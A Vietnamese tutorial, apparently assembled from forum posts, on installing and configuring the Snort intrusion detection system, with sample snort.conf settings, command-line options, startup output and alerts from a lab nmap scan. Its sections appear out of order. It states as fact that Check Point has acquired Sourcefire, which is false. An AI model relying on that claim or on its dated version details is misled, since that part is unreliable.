Sau khi down về và giải nén ta có được khoảng 60 files, mỗi file có phần mở rộng là .rules chứa những tín hiệu (signatures) để Snort dựa vào đó mà nhận dạng nội dung của các packet. File Snort.conf chứa các thiết lập khi Snort chạy ở chế độ IDS. Các files này đã đuợc viết sẵn và test khá kĩ càng nên ta không cần config lại
2.2.3.2 Khởi đầu cấu hình với file Snort.conf
Ở chế độ báo động ( alert ), Snort yêu cầu phải có file cấu hình, files cấu hình mặc định lưu ở thư mục /etc/Snort.conf, nếu file nằm ở chỗ khác ta phải dùng cờ -c để chỉ tới files đó. Các báo động sẽ lưu ở thư mục /var/log/Snort ( mặc định ).Snort sẽ thoát ra nếu file .conf và thư mục log không có. Ta có thể chỉ định loại báo động nào ví dụ như full, fast,none hoặc Unix sockets bằng cách thêm cờ -A vào dòng lệnh
Lần đầu nhìn vào file Snort.conf ta có thể nhìn thấy nhiều dòng chú thích rất dễ hiểu với màu sắc dễ phân biệt, ví dụ như tạo các biến, set các đường dẫn RULE_PATH để chỉ Snort các files rules
ví dụ:
var RULE_PATH ../rules
Thay đổi đường dẫn đầy đủ nơi chứa các rules
var RULE_PATH /usr/local/share/Snort_rules/november_2005/rules
Để cho Snort khởi động, sử dụng dòng lệnh:
Snort -c /usr/local/share/Snort_rules/november_2005/rules/Snort.conf
Nó sẽ hiển thị ra màn hình console
Running in IDS mode
Log directory = /var/log/Snort
Initializing Network Interface eth0
--== Initializing Snort ==--
Initializing Output Plugins!
Decoding Ethernet on interface eth0
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file /usr/local/share/Snort_rules/rules/Snort.conf
+++++++++++++++++++++++++++++++++++++++++++++++++++
Initializing rule chains...
,-----------[Flow Config]----------------------
| Stats Interval: 0
| Hash Method: 2
| Memcap: 10485760
| Rows : 4099
| Overhead Bytes: 16400(%0.16)
`----------------------------------------------
No arguments to frag2 directive, setting defaults to:
Fragment timeout: 60 seconds
Fragment memory cap: 4194304 bytes
Fragment min_ttl: 0
Fragment ttl_limit: 5
Fragment Problems: 0
Self preservation threshold: 500
Self preservation period: 90
Suspend threshold: 1000
Suspend period: 30
Stream4 config:
Stateful inspection: ACTIVE
Session statistics: INACTIVE
Session timeout: 30 seconds
Session memory cap: 8388608 bytes
State alerts: INACTIVE
Evasion alerts: INACTIVE
Scan alerts: INACTIVE
Log Flushed Streams: INACTIVE
MinTTL: 1
TTL Limit: 5
Async Link: 0
State Protection: 0
Self preservation threshold: 50
Self preservation period: 90
Suspend threshold: 200
Suspend period: 30
Stream4_reassemble config:
Server reassembly: INACTIVE
Client reassembly: ACTIVE
Reassembler alerts: ACTIVE
Zero out flushed packets: INACTIVE
flush_data_diff_size: 500
Ports: 21 23 25 53 80 110 111 143 513 1433
Emergency Ports: 21 23 25 53 80 110 111 143 513 1433
HttpInspect Config:
GLOBAL CONFIG
Max Pipeline Requests: 0
Inspection Type: STATELESS
Detect Proxy Usage: NO
IIS Unicode Map Filename: /usr/local/share/Snort_rules/rules/unicode.map
IIS Unicode Map Codepage: 1252
DEFAULT SERVER CONFIG:
Ports: 80 8080 8180
Flow Depth: 300
Max Chunk Length: 500000
Inspect Pipeline Requests: YES
URI Discovery Strict Mode: NO
Allow Proxy Usage: NO
Disable Alerting: NO
Oversize Dir Length: 500
Only inspect URI: NO
Ascii: YES alert: NO
Double Decoding: YES alert: YES
%U Encoding: YES alert: YES
Bare Byte: YES alert: YES
Base36: OFF
UTF 8: OFF
IIS Unicode: YES alert: YES
Multiple Slash: YES alert: NO
IIS Backslash: YES alert: NO
Directory: YES alert: NO
Apache WhiteSpace: YES alert: YES
IIS Delimiter: YES alert: YES
IIS Unicode Map: GLOBAL IIS UNICODE MAP CONFIG
Non-RFC Compliant Characters: NONE
rpc_decode arguments:
Ports to decode RPC on: 111 32771
alert_fragments: INACTIVE
alert_large_fragments: ACTIVE
alert_incomplete: ACTIVE
alert_multiple_requests: ACTIVE
telnet_decode arguments:
Ports to decode telnet on: 21 23 25 119
1652 Snort rules read...
1652 Option Chains linked into 152 Chain Headers
0 Dynamic rules
+++++++++++++++++++++++++++++++++++++++++++++++++++
+-----------------------[thresholding-config]----------------------------------
| memory-cap : 1048576 bytes
+-----------------------[thresholding-global]----------------------------------
| none
+-----------------------[thresholding-local]-----------------------------------
| gen-id=1 sig-id=2275 type=Threshold tracking=dst count=5 seconds=60
+-----------------------[suppression]------------------------------------------
-------------------------------------------------------------------------------
Rule application order: ->activation->dynamic->alert->pass->log
--== Initialization Complete ==--
-*> Snort! <*-
Version 2.1.x (Build 24)
By Martin Roesch (roesch@sourcefire.com, www.Snort.org)
Tới đây ta có thể kết thúc dùng lệnh CTRL – C sẽ xuất hiện các bảng tóm tắt:
===============================================================================
Snort analyzed 3210 out of 3807 packets, dropping 597(15.682%) packets
Breakdown by protocol: Action Stats:
TCP: 2602 (68.348%) ALERTS: 6
UDP: 2 (0.053%) LOGGED: 6
ICMP: 8 (0.210%) PASSED: 0
ARP: 0 (0.000%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
IPX: 0 (0.000%)
OTHER: 0 (0.000%)
DISCARD: 0 (0.000%)
===============================================================================
Wireless Stats:
Breakdown by type:
Management Packets: 0 (0.000%)
Control Packets: 0 (0.000%)
Data Packets: 0 (0.000%)
===============================================================================
Fragmentation Stats:
Fragmented IP Packets: 0 (0.000%)
Fragment Trackers: 0
Rebuilt IP Packets: 0
Frag elements used: 0
Discarded(incomplete): 0
Discarded(timeout): 0
Frag2 memory faults: 0
===============================================================================
TCP Stream Reassembly Stats:
TCP Packets Used: 2602 (68.348%)
Stream Trackers: 1559
Stream flushes: 0
Segments used: 0
Stream4 Memory Faults: 0
===============================================================================
Final Flow Statistics
,----[ FLOWCACHE STATS ]----------
Memcap: 10485760 Overhead Bytes 16400 used(%2.287951)/blocks (239909/1564) Overhead
blocks: 1 Could Hold: (73326)
IPV4 count: 1563 frees: 0 low_time: 1080162455, high_time: 1080162458, diff: 0h:00:
03s
finds: 2612 reversed: 1022(%39.127106)
find_sucess: 1049 find_fail: 1563 percent_success: (%40.160796) new_flows: 1563
Protocol: 1 (%0.306279) finds: 8 reversed: 3(%37.500000)
find_sucess: 5 find_fail: 3 percent_success: (%62.500000) new_flows: 3
Protocol: 6 (%99.617152) finds: 2602 reversed: 1018(%39.123751)
find_sucess: 1043 find_fail: 1559 percent_success: (%40.084550) new_flows: 1559
Protocol: 17 (%0.076570) finds: 2 reversed: 1(%50.000000)
find_sucess: 1 find_fail: 1 percent_success: (%50.000000) new_flows: 1
Snort exiting
Bây giờ đã có 1 file báo động trong thư mục /var/log/Snort. File sẽ bao gồm các báo động từ Snort khi đang chạy ( trong bài này có sử dụng nmap SYN scan để cho Snort báo động )
[**] [1:469:1] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.187504 192.168.1.2 -> 192.168.1.105
ICMP TTL:51 TOS:0x0 ID:23210 IpLen:20 DgmLen:28
Type:8 Code:0 ID:1290 Seq:0 ECHO
[Xref => http://www.whitehats.com/info/IDS162]
[**] [1:618:5] SCAN Squid Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.583826 192.168.1.2:49641 -> 192.168.1.105:3128
TCP TTL:44 TOS:0x0 ID:56810 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
[**] [1:1421:3] SNMP AgentX/tcp request [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.589463 192.168.1.2:49641 -> 192.168.1.105:705
TCP TTL:44 TOS:0x0 ID:54050 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013][Xref => http://
cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012]
[**] [1:615:5] SCAN SOCKS Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.674332 192.168.1.2:49641 -> 192.168.1.105:1080
TCP TTL:44 TOS:0x0 ID:9794 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
[Xref => http://help.undernet.org/proxyscan/]
[**] [1:1420:3] SNMP trap tcp [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.696925 192.168.1.2:49641 -> 192.168.1.105:162
TCP TTL:44 TOS:0x0 ID:41259 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012]
[**] [1:1418:3] SNMP request tcp [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/24-15:07:35.827022 192.168.1.2:49641 -> 192.168.1.105:161
TCP TTL:44 TOS:0x0 ID:37753 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012]
Ví dụ phân tích một báo động của Snort
Đây là tên của báo động:
[**] [1:1418:3] SNMP request tcp [**]
Snort sẽ chia ra nhiều lớp cho từng loại báo động , ví dụ cái này là thuộc dang đang cố gắng đánh lừa thông tin “Attempted Information Leak” và mức độ ưu tiên của từng báo động
[Classification: Attempted Information Leak] [Priority: 2]
Đây là phần header và thông tin của packet là nguyên nhân gây ra báo đông:
03/24-15:07:35.827022 192.168.1.2:49641 -> 192.168.1.105:161
TCP TTL:44 TOS:0x0 ID:37753 IpLen:20 DgmLen:40
******S* Seq: 0x4EB5A7C6 Ack: 0x0 Win: 0x400 TcpLen: 20
Snort sẽ báo động bao gồm các đường dẫn tới mô tả các rules gây ra báo động
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012]
link này rất hữu ích khi xem xét lại có bị báo động lỗi hay không.
2.4. File Snort.conf
File Snort.conf điều khiển mọi thứ mà Snort thấy được, làm cách nào nó có thể chống lại các cuộc tấn công, những rules nào được sử dụng khi thấy nghi ngờ, và làm cách nào nó có thể phát hiện ra được những dấu hiệu nguy hiểm tìm tàng mặc dù nó không có các tín hiệu nhận dạng cụ thể để so sánh. Để hiểu và cấu hình nó thành công khi phát triển Snort thành 1 công cụ IDS thật sự. Tôi sẽ trình bày cụ thể những kinh nghiệm hiểu biết về Snort sau đây. Để tìm hiểu nó 1 cách nhanh nhất và dễ dàng nên mở sẵn nó ra trên máy tính hoặc in nó ra giấy theo dõi cho dễ dàng.
Ví dụ file Snort.conf mở ra bằng gedit
File conf được chia ra thành nhiều đoạn và có chú thích rất rõ ràng cho từng đoạn, những nội dung chính của nó gồm:
• Thiết lập mạng và cấu hình các biến
• Cấu hình phần giải mã (decoder) 1và phát hiện
• Cấu hình tiền xử lý (preprocessor)
• Cấu hình phần output
• File được trỏ tới
2.4.1 Thiết lập mạng và cấu hình các biến
Các biến trong file conf được tạo ra thường để dễ dàng hơn trong việc theo dõi các địa chỉ IP, hoặc các port TCP,UDP được chỉ định mà nó đang lắng nghe.
Mặc định các biến thường để giá trị là any chỉ tất cả các địa chỉ IP mà nó nhận được, nó cũng có thể là nguyên nhân gây ra nhiều báo động sai.
Để chị định 1 địa chỉ ip, đơn gian chỉ làm theo cách sau:
Var HOME_NET 192.168.1.1
Hoặc khi muốn chỉ định nhiều địa chỉ cùng lúc, phải có dấu ngoặc vuông để chỉ định cho cả nhóm:
Var HOME_NET [192.168.1.1,192.168.14.1,10.0.0.2]
Ta cũng có cách khác để chỉ định luôn cả mạng:
Var HOME_NET 10.10.10.0/24
Hoặc cũng có thể gộp cả 2 cách trên vào chung 1 nhóm:
Var HOME_NET [192.168.1.1,10.10.10.0/24,172.168.1.5/16,187.1.1.1/19]
Nếu muốn chỉ định không dùng các ip này ngoại trừ … thì dùng thêm dấu “than” ! nghĩa là NOT
Var EXTERNAL_NET !$HOME_NET
Để chỉ định cho các port cũng làm tương tự ví dụng
Var ORACLE_PORTS 1521
Hoặc các port không phải là port 80
Var SHELLCODE_PORTS !80
2.4.1.1 Các biến mặc định trong Snort.conf
HOME_NET : chỉ định địa chỉ mạng của mình đang bảo vệ
EXTERNAL_NET: các mạng bên ngoài.
Các biến để chỉ định các server đang chạy các service phục vụ cho hệ thống
DNS_SERVERS
SMTP_SERVERS
HTTP_SERVERS
SQL_SERVERS
TELNET_SERVERS
SNMP_SERVERS
……
Các port mặc định các biến khác:
HTTP_PORTS
SHELLCODE_PORTS
ORACLE_PORTS
AIM_SERVERS
RULES_PATH
2.4.2 Cấu hình phần giải mã ( decoder ) và phát hiện ( detection )
Snort sẽ giải mã cấu trúc các packet và so sánh cấu trúc theo những dấu hiệu đã được trang bị. Nếu packet có kích thước lạ, nhìêu cấu hình lạ không bình thường, Snort sẽ báo động. Nếu không báo động thì sẽ có 1 luợng lớn lỗi báo động sai. Ta có thể tắt chức năng này. Mặc định tất cả báo động đều bật. Để tắt 1 loại báo động cụ thể nào đó, ta nên để dấu thăng # vào trước dòng lệnh thành dòng comment ghi chú
# config disable_decode_alerts
# config disable_tcpopt_experimental_alerts
# config disable_tcpopt_obsolete_alerts
# config disable_tcpopt_ttcp_alerts
# config disable_tcpopt_alerts
# config disable_ipopt_alerts
Mô hình làm việc của decode
Mô hình detect các packet
Ta cũng có thể thêm vào nhiều dòng lênh của Snort trong phần này của file Snort.conf
Cấu Hình Option Của Snort.conf
Option ----------- Mô tả
config order: [pass, alert, log, activation, or dynamic] ----------- Thay đổi các giá trị điều khỉên của rules
config alertfile: alerts ----------- Thiết lập output của file báo động
config decode_arp ----------- Bật chức năng arp decoding (Snort -a).
config dump_chars_only ----------- Bật chức năng character dumps (Snort -C).
config dump_payload ----------- Hiện thông tin lớp application(Snort -d).
config decode_data_link ----------- giải mã Layer2 headers (Snort -e).
config bpf_file: filters.bpf ----------- Chỉ định dùng bộ lọc BPF (Snort -F).
config set_gid: 30 ----------- Thay đổi GID đến GID khác (Snort -g).
config daemon -----------Chạy Snort ở chế độ daemon (Snort -D).
config interface: <interface name> ----------- Thiết lập interface (Snort -i).
config alert_with_interface_name ----------- Chỉ định interface cần báo động (Snort -I).
config logdir: /var/log/Snort ----------- Thiết lập lại thư mục log (Snort -l).
config umask: <umask> ----------- Thiết lập umask khi chạy (Snort -m).
config pkt_count: N ----------- Thoát ra sau N packets (Snort -n).
config nolog ----------- Tăt chế độ log (Snort -N).
config obfuscate ----------- Ẩn địa chỉ IP (Snort -O).
config no_promisc ----------- Tắt chế độ cho chạy lẫn lộn (Snort -p).
config quiet ----------- Tắt banner và report trạng thái (Snort -q).
config chroot: /home/Snort ----------- Thay đổi lại thư mục root (Snort-T).
config checksum_mode : all ----------- Các loại packet dùng để tính toán lại checksums: none, noip, notcp, noicmp, noudp, or all.
config set_uid: <id> ----------- Thay đổi UID ra uid mới (Snort-u).
config utc ----------- Sử dụng UTC thay vì dùng thời gian máy local gán cho timestamps (Snort -U).
config verbose ----------- Sử dụng chế độ xem chi tiết (Snort -v.)
config dump_payload_verbose ----------- Hiển thị những packet "thô" bắt đầu ở lớp linkdata (Snort-X ).
config show_year ----------- Hiển thị timestamps năm (Snort-y).
channhua - HVA
|
|
|
Phát hiện xâm nhập - Detecting Intrusions
Phát hiện xâm nhập đơn giản là phát hiện những tín hiệu , biểu hiện của người xâm nhập trước khi thiệt hại xảy ra như các services bị denied hay mất dữ liệu và chúng ta có thể ngăn chặn thông qua các kĩ thuật khác nhau. Config những log của hệ thống mà lưu giữ những thông tin về services, user hay data. Người quản trị có thể phát hiện những thông tin lý thú trong các log này, nó thực sự quan trọng khi coi các log và là bước đầu tiên cơ bản nhất để phát hiện xâm nhập và system log đã cho thấy giá trị thực sự của nó
Kế tiếp của sự phát hiện xâm nhập là dùng các tools tự động thường được xem là 1 HIDS ( host-based intrusion detection).HIDS tools bao gồm các software antivirus, persional firewall, NIDS đựơc cài đặt trên các host và nhiều software bảo vệ chống tràn bộ đệm hoặc sự cố gắng bẻ gãy policy của attacker
Và cuối cùng là NIDS
Ví dụ về các HIDS
NIDS - Network Instrusion Detection System là gì ?
Trên cấp độ căn bản, phát hiện xâm nhập được xem như là 1 tiến trình được quyết định khi 1 người không xác chứng thực đang cố gắng để bẻ gãy hệ thống của bạn. Phát hiện những kết nối không hợp lệ là bước khởi đầu tốt nhưng không phải là tẩt cả câu chuyện. Những hệ thống như Snort có thể phát hiện những sự cố gắng đang login vào hệ thống, truy cập vào những vùng share không được bảo vệ và nhiều điều khác nữa, nhưng nhiều loại xâm nhập không rõ ràng để chúng ta có thể phát hiện dễ dàng như là các các cuộc tấn công dùng phương pháp DoS tuy nó không thiệt hại nhiều chỉ chiếm bandwidth và Cpu, dung lượng ổ cứng trên IDS nhưng nó cũng là tín hiệu để có biện pháp phòng chống hữu hiệu
NIDS như Snort có thể scan network traffic để phát hiện những tín hiệu nghi ngờ và các gói dữ liệu xấu, và bạn cũng có thể dùng những tools khác như Tcpdump hay ethereal để để xem các luồng thông tin trên các subnet khác nhau, từ những tools này chúng ta có thể sniff các packet để phân tích và debug hệ thống
Một IDS sẽ kiểm tra tất cả các packet đi qua hệ thống và quyết định packet có vấn đề khả nghi. Bằng cách nào nó có thể biết packet đó khả nghi ? như Snort sẽ có các danh sách các loại packet được mô tả tỷ mỉ giúp hệ thống dựa vào đó mà phán quyết packet nào khả nghi ví dụ như nếu bạn nhận được 1 gói ICMP có kích thước lớn hơn bình thường và bạn có thể đoán được 1 người nào đó đang cố gắng ping of death vào mạng của bạn hoặc như bạn nhận đuợc các packet đựơc phân mảnh ra cực kì ngắn bạn cũng có thể suy ra rằng ai đó đang dùng kĩ thuật tấn công phản hồi làm đảo lộn các gói để lừa firewall thường đuợc gọi là fragmentation attack. Snort cũng như các IDS khác đuợc trang bị hàng ngàn tình huống để nhận dạng tấn công và đuợc cập nhật thường xuyên trên Snort website. Snort và các IDS khác thực sự quan trọng và là lựa chọn hàng đầu để phòng thủ, nếu một attacker xâm nhập và Server của bạn, bạn có thể phát hiện ở system log, mặc dù nhiều attacker tinh ranh xóa đi log của bạn
Ví dụ đây là mô hình của NIDS
Trong đó:
- IDS sensor: Giám sát các traffic ở các segment / zone, gửi dữ liệu về centralize database server
- Centralize database server: nơi tập trung các dữ liệu lấy từ sensor vào database (mysql chẳng hạn)
- User interface: admin dùng giao diện web UI để giám sát
Và đây là các module của nó ở mức luận lý
Giải thích cụ thể hơn 1 chút:
Gói tin bị capture từ sensor - host system or network sniffer (có thể là ở cấp độ host hoặc là cấp độ mạng) sẽ được chuyển qua pre-processing
Pre-processing: gồm bộ phận decoder và preprocess:
- Decoder: đọc packet, nhận biết các trường trong packet
- Preprocess: sắp xếp hoặc modify lại packet trước khi đi vào detection engine. Một số module này có khả năng phát hiện các packet dị thường trong header và sinh ra alert. Ngoài ra, nó có thể tái định dạng gói tin (defragment), sắp xếp lại chuỗi.
Detection engine: xảy ra quá trình phân tích packet: so sánh mẫu (signature matching) hoặc phân tích các dị thường trong packet (statictical analysis) để đưa ra output (alert manager) quyết định.
Knowledge base: database signature.
Long-term storage: nơi chứa các phát hiện dị thường của packet (không được định nghĩa trước)
Response manager: thực thi đáp ứng của alert manager như: ghi log, popup....
GUI: giao diện đồ họa tương tác.
Nhìn vào các sơ đồ trên ta có thể hình dung được phần nào về hệ thống của IDS, IDS can thiệp vào phần payload của các packet sâu hơn là các firewall, hình minh hoạ sau giúp ta phần biệt firewall và IDS dễ dàng hơn, rất dễ hiểu phần đầu là việc của firewall còn phần sau IDS làm tiếp việc kiểm tra của nó
Tại sao Snort là một NIDS ?
Snort được coi như là NIDS mang lại nhiều lợi ích và là 1 NIDS mạnh mẽ phù hợp cho nhiều công ty vì nhiều lý do
Giá cả
Là một software mã nguồn mở và tất nhiên là free nhưng dễ dùng đựơc đóng gói thành nhiều sản phẩm phù hợp cho từng doanh nghiệp. Snort đuợc phát triển do công ty Soucefire điều hành bởi Martin Roesch. Hiện tại công ty Check point đã mua lại Soucefire với giá 225 triệu USD
Ổn định, Nhanh, Mạnh mẽ
Ngay từ đầu đây là mục đích chính để các nhà phát triển Snort luôn luôn giữ nó nhỏ gọn, nhanh, và trong sáng dễ dùng, không chiếm dụng nhiều đường truyền.
Tính năng tiền xử lý
Dùng để xử lý trước các message trong network ở thời gian thực tăng khả năng nhận dạng các packet nghi ngờ, tăng khả năng nhận diện attacker dùng các kĩ thuật tấn công nhằm đánh lạc hướng IDS
Tính Uyển Chuyển
Có thể dễ dàng thiết lập những rules trên những mode khác nhau phù hợp với thực trạng của công ty. Có thể dùng các tools để quản lý tập trung như ACID hay SnortCenter. Nhiều Scripts có thể plug-ins để mở rộng chức năng Snort có thể tạo những Access Control List tự động trên các thiết bị Cisco routers là 1 ví dụ điển hình
Được Support mạnh mẽ
Nhiều công ty thường xuyên test và kiểm tra các lỗ hổng của Snort đưa ra nhiều biện pháp khắc phục như CERT và SANS. Là sản phẩm nguồn mở nên được support rất nhiều bởi cộng đồng người sử dụng trên internet và các thông báo sẽ gửi đến từng người sử dụng qua mail nếu đăng kí và quan tâm đến Snort.
TÀI LIỆU THAM KHẢO: SNORT COOKBOOK---OREILLY, SNORT INSTRUSION DETECTION 2.0--- SYNGRESS
Bài viết sử dụng 1 số hình ảnh của omicron trong bài IDS/IDP vs firewall
::: Phần 2 Cài Đặt Và Cấu Hình Snort:::
Trong phần này em sẽ trình bày các kĩ thuật thường dùng để bắt các packet và phân tích nội dung của chúng, các kinh nghiệm cài đặt và sử dụng. Em sẽ bắt đầu với cách sử dụng Snort như là Sniffer, Packet logger và cuối cùng là sử dụng Snort thực sự là NIDS
2.1.Vài dòng về Snort
Ngày nay Snort có lẽ là sản phẩn IDS mã nguồn mở nổi tiếng nhất. Snort đuợc thiết kế dùng command line và nó có thể tích hợp chung với các sản phẩm khác và được dùng trên nhiều platforms khác nhau .
Snort lần đầu tiên được phát triển năm 1998 lúc đó chức năng chính của nó là sniff các packet và đến nay nó phát triển vượt bậc với nhiều tính năng mạnh như đã biết. Hàng tuần Snort được download bởi hàng ngàn người và các nhà phát triển.Hiện nay nó được sử dụng như là IDS từ người dùng nhỏ đến các công ty lớn trên toàn thế giới trên nhiều platform khác nhau như Windows,FreeBSD,Linux,Solaris..
2.2.Cài Đặt Snort
Chúng ta có thể cài đặt Snort từ Souce code hay là các gói RPM .Theo kinh nghiệm nên download source code và sau đó biên dịch để cài đặt hơn là dùng các gói binary có sẵn. Ta có thể config Snort kết hợp với MySQL. Hiện tại phiên bản mới nhất của Snort là 2.4.3 ngày 18/10/05 và khuyên nên dùng bản này trước đó ngày 6/10/05 CERT và SANS đã phát hiện lỗ hổng của Snort trong phần tiền xử lý Back Orifice.
2.2.1Cài đặt từ Source code
Cài Snort khá dễ dàng, có nhiều tuỳ chọn phù hợp với nhu cầu ngừơi dùng; phần quan trọng nhất của Snort là kết hợp với nhiều database để lưu trữ. Download và giải nén Snort từ địa chỉ http://www.Snort.org . tôi thường cài đặt vào thư mục /usr/local/src bạn có thể sử dụng các lệnh sau để cài đặt
$ tar -xvft Snort-2.4.3.tar.gz
$ cd Snort-2.4.3
$ ./ configure
$ make
$ make install
Nó sẽ cài vào thư mục /usr/local/bin, mọi user có thể chạy nó. Nếu nó không chạy lệnh configure sẽ thông báo cho bạn biết. Hầu hết các trường hợp đều do 2 thư viện libpcap và PCRE ( pert-compatible regular Expression ) có thể download libpcap ở http://www.tcpdump.org và PCRE ở http://www.pcre.org
2.2.2 Cài đặt trên windows
Nếu muốn sử dụng Snort trên Windows bạn phải download thư viện winpcap từ địa chỉ http://winpcap.polito.it. Sau khi cài đặt winpcap rồi ta sẽ download bản cho windows ỏ http://www.Snort.org/dl/binaries/win32. Snort sẽ chạy với các dòng lệnh trên windows
Một phiên bản khác có thể download từ địa chỉ http://winSnort.com được quản lý bởi Michael E.Steele và tất nhiên cũng free. Bản dùng cho windows làm việc tốt với cơ sở dữ liệu Microsoft SQL server và cũng có rất nhiều tài liệu về Snort trên website này rất bổ ích.
Nhiều cuộc thảo luận dài diễn ra bàn luận về các hệ điều hành dùng Snort cái nào nhanh nhất. Tổng hợp từ nhiều nguồn tin từ các người dùng bằng cách đo điểm benchmarks chỉ ra rằng bản dùng cho windows nhanh hơn trên Linux và BSD
Các option trong câu lệnh của Snort
Các option này cũng được mô tả rất kĩ trong file config của Snort ,nếu chỉ muốn thử và tìm hiểu thì ta nên dùng các command line còn nếu muốn lưu giữ luôn trong file lúc setting nên vào config file
-A altert-mode
Nhiều mode được hỗ trợ ở đây như : fast , full, none, unsock
-b
Log packet dạng tcpdump. file với format dạng tcmdump sẽ nhỏ hơn và là phương pháp tốt nhất khi cần lưu trữ với số luợng lớn log data và packet. dĩ nhiên nhỏ sẽ nhanh hơn và là sự lựa chọn trên các mạng tốc độ cao
-B address-conversion-mask
Giúp ẩn địa chỉ thực sự của internal network trong binary logs
-c config-file
Chỉ định conifg file nào muốn sử dụng, cần thiết khi Snort chạy ở mode NIDS
-C
In ra những kí tự tìm thấy trong packet payload, có thể hiển thị ở dạng hex
-d
Hiển thị dữ liệu ở tầng application khi dùng chế độ hiển thị đầy đủ hoặc trong packet logging mode
-D
Chạy Snort ở mode daemon. Daemon mode cần thiết khi ta cần chạy Snort tự động mỗi khi startup và sẽ hiển thị trong event khi ta khởi động, không có message nào được hiển thị trong console khi chạy ở mode này
-e
Hiển thị hoặc log các lớp liên kết paket headers. thường dùng khi capture packet khi chạy Snort ở chế độ Sniffing
-F bpf-file
Đọc Berkeley Packet Filters (BPF) từ bpf file.
-g group
Thay đổi group ID hoặc GID mặc định. Thường dùng khi ta muốn Snort chỉ cho dùng bởi những group đặc biệt mục đích để security hơn
-h home-net
Thiết lập "home network" chỉ định địa chỉ trong định dạng CIDR. Thường sử dụng để tạo biến HOME_NET trong file config
-i interface
Chỉ định interface nào Snort sẽ lắng nghe
-I
Trong thông báo, hiển thị interface nào mỗi packet khi packet đến nếu ta có nhiều interface cùng lúc sử dụng nhìêu sensor và các sensor gửi các packet đến database quản lý cùng 1 lúc
-k checksum-mode
Điều khiển các packet checksums Snort. Nhiều giá trị checksum mode bao gồm all,noip,notcp,noudp,noicmp,none
-l logging-directory
Chỉ định thư mục để log các alter. Mặc định thư mục log là /var/log/Snort, nhưng mặc định chỉ sử dụng khi Snort chạy ở -A mode
-L binary-log-file
Thiết lập filename của file binary, mặc định sẽ là thời gian thêm vào trước chữ Snort.log được lưu trong log
-m umask
Thiết lập chế độ tạo mặt nạ file, đơn giản chỉ là ngăn chặn xem log file trong khi đang capture packet, tránh hacker xoá log
-n packet-count
Đếm số luợng packet đang tồn tại. thường dùng khi muốn capture một traffic ở mạng nhỏ trong thời gian ngắn
-N
Tắt packet logging nhưng chế độ alert vẫn hoạt động và chỉ hiển thị trên màn hình console. thường dùng để test những file cấu hình mới
-o
Thay đổi thứ tự các rules đựoc áp đặt đến packet. Thay vì các rules áp đặt theo dạng chuẩn alert pass Log, ta có thể áp đặt lại Pass Alert Log. Khuyên dùng đối với người dùng chạy SnortCenter hoặc các web interfaces khác. Option này thường sử dụng khi chắc chắn rằng nhựng pass rules sẽ applied trước những detection rules.
-O
Khi ở mode ASCII, nó sẽ thay thế địa chỉ ip hiển thị trên màn hình hoặc logfile với dạng”xxx.xxx.xxx.xxx”. nếu home-net đựoc set ở -h , chỉ có ip của home-net được hiển thị còn lại sẽ được thay thế. Sử dụng khi capture nhưng packet dùng để làm mẫu và share với mọi người trong các cuộc thảo luận ỏ các group hoặc qua mailing list
-p
Tắt chế độ sniff hỗn tạp, chỉ dùng để bảo vệ 1 host duy nhất.
-P snap-length
Thiết lập chiều dài tối đa cho các packet capture.Thiết lập để có thể bắt hết các packet, nếu thiết lập chiều dài quá ngắn có thể không coi hết được nội dung của packet khi cần thiết
-q
Không hiển thi banner hay những thông tin khi khởi động
-r tcpdump-file
Sử dụng option này khi dùng với file định dạng tcpdump
-s
Gửi alert message đến syslog server. Có thể gửi ở local hay remote server
-S variable=value
Gán giá trị cho biết ví dụ home-net, dn-server….
-t chroot
Thay đổi thư mục root của Snort là chroot sau khi khởi động. đường dẫn cho logfiles và các files alert sẽ liên quan trực tiếp đến thư mục mới này
-T
Khởi động Snort ơ chế độ selt-test. Hữu ích khi debug Snort trước khi chạy ở chế độ deamon
-u user
Thay đổi ID và UID của user giống như –g phía trước
-U
Áp đặt thời gian vào log files. Dùng trong các truờng hợp capture từ nhiều sources trên 1 syslog server và các sensor gửi thông qua WAN
-v
In toàn bộ packet trên console. Cẩn thận khi dùng, nó làm cho Snort chậm đi khi drop packet
-V
Hiển thị Version của Snort
-x
Hiển thị các packet “thô” cần dùng khi xem các ethernet headers và trailers
-y
Bao gồm năm trong log files
-z
Bật chức năng stream4
-?
Danh sách các option và thoát
2.3. Các chế độ hoạt động của Snort
Trong phần này, em sẽ trình bày tại sao cần Snort trong khi nó có vẻ giống các phần mềm khác như tcpdump cũng sniff packet và có thể đọc từ định dạng của libpcap. Sau đây là những lý do chứng tỏ Snort có nhiều điểm tốt trong giải pháp sniffing và phát hiện xâm nhập.
Mô tả sâu sắc về các dòng dữ liệu
Linh hoạt hơn tcpdump về khả năng đọc và output
Có thể dễ dàng chỉnh sửa , hiển thị nhiều trường đa dạng trong các headers
Viết các rules liên quan dễ dàng dễ hiểu và dễ chỉnh sửa
